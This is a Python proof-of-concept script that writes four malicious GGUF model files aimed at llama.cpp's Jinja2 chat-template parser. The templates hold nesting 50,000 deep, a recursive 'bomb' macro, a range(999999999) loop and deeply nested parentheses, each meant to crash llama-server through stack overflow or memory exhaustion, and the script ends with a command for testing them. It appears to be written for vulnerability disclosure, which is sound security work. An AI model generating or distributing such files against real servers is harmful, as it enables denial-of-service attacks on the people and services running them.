#!/usr/bin/env python3
"""
PoC: Stack Overflow in Jinja2 Template Parser via Deeply Nested GGUF Chat Template

The llama.cpp Jinja2 template parser uses recursive descent with NO recursion
depth limit. A GGUF file with a deeply nested chat_template causes stack overflow
(SIGSEGV) when the model is loaded, crashing llama-server immediately.

CWE-674: Uncontrolled Recursion
"""

import struct
import sys

def create_gguf_with_template(filename, template_str):
    """Create a GGUF v3 file with a chat template in metadata"""

    data = b''

    # Header
    data += b'GGUF'                        # magic
    data += struct.pack('<I', 3)           # version 3
    data += struct.pack('<q', 0)           # n_tensors = 0
    data += struct.pack('<q', 2)           # n_kv = 2

    # KV 1: general.architecture (required for model loading)
    key1 = b'general.architecture'
    val1 = b'llama'
    data += struct.pack('<Q', len(key1)) + key1
    data += struct.pack('<i', 8)           # GGUF_TYPE_STRING
    data += struct.pack('<Q', len(val1)) + val1

    # KV 2: tokenizer.chat_template (the malicious template)
    key2 = b'tokenizer.chat_template'
    val2 = template_str.encode('utf-8')
    data += struct.pack('<Q', len(key2)) + key2
    data += struct.pack('<i', 8)           # GGUF_TYPE_STRING
    data += struct.pack('<Q', len(val2)) + val2

    with open(filename, 'wb') as f:
        f.write(data)

    print(f"[+] Created {filename} ({len(data)} bytes)")
    print(f"    Template size: {len(val2)} bytes")
    return filename


# === PoC 1: Parser Stack Overflow via deep if-nesting ===
# Crashes during model LOADING (template parsing)
def poc_parser_stack_overflow(depth=50000):
    """Deep {% if %}{% endif %} nesting exhausts parser stack"""
    template = "{% if true %}" * depth + "PAYLOAD" + "{% endif %}" * depth
    filename = "poc_parser_stackoverflow.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Nesting depth: {depth}")
    print(f"    Expected: SIGSEGV at parse time (model load)")
    return filename


# === PoC 2: Runtime Stack Overflow via recursive macro ===
# Crashes during first chat completion request
def poc_recursive_macro(depth=100000):
    """Recursive macro exhausts runtime stack"""
    template = (
        "{% macro bomb(n) %}"
        "{% if n > 0 %}{{ bomb(n-1) }}{% endif %}"
        "{% endmacro %}"
        f"{{% for message in messages %}}"
        f"{{{{ bomb({depth}) }}}}"
        "{% endfor %}"
    )
    filename = "poc_recursive_macro.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Recursion depth: {depth}")
    print(f"    Expected: SIGSEGV at render time (first chat request)")
    return filename


# === PoC 3: OOM via range() ===
# Causes OOM during first chat completion request
def poc_range_oom():
    """range() with huge argument causes OOM"""
    template = (
        "{% for message in messages %}"
        "{% for i in range(999999999) %}{{ i }}{% endfor %}"
        "{% endfor %}"
    )
    filename = "poc_range_oom.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Expected: OOM kill or hang at render time")
    return filename


# === PoC 4: Deep expression nesting ===
# Crashes parser with deeply nested expressions
def poc_expression_nesting(depth=50000):
    """Deeply nested expressions: (((((...))))) """
    template = "{{ " + "(" * depth + "1" + ")" * depth + " }}"
    filename = "poc_expr_nesting.gguf"
    create_gguf_with_template(filename, template)
    print(f"    Expression depth: {depth}")
    print(f"    Expected: SIGSEGV at parse time")
    return filename


if __name__ == '__main__':
    print("=" * 60)
    print("Jinja2 Template Parser DoS PoC Generator")
    print("Target: ggml-org/llama.cpp")
    print("=" * 60)
    print()

    poc_parser_stack_overflow()
    print()
    poc_recursive_macro()
    print()
    poc_range_oom()
    print()
    poc_expression_nesting()

    print()
    print("=" * 60)
    print("Test with:")
    print("  llama-server -m poc_parser_stackoverflow.gguf")
    print("  # Expected: SIGSEGV (stack overflow in parser)")
    print("=" * 60)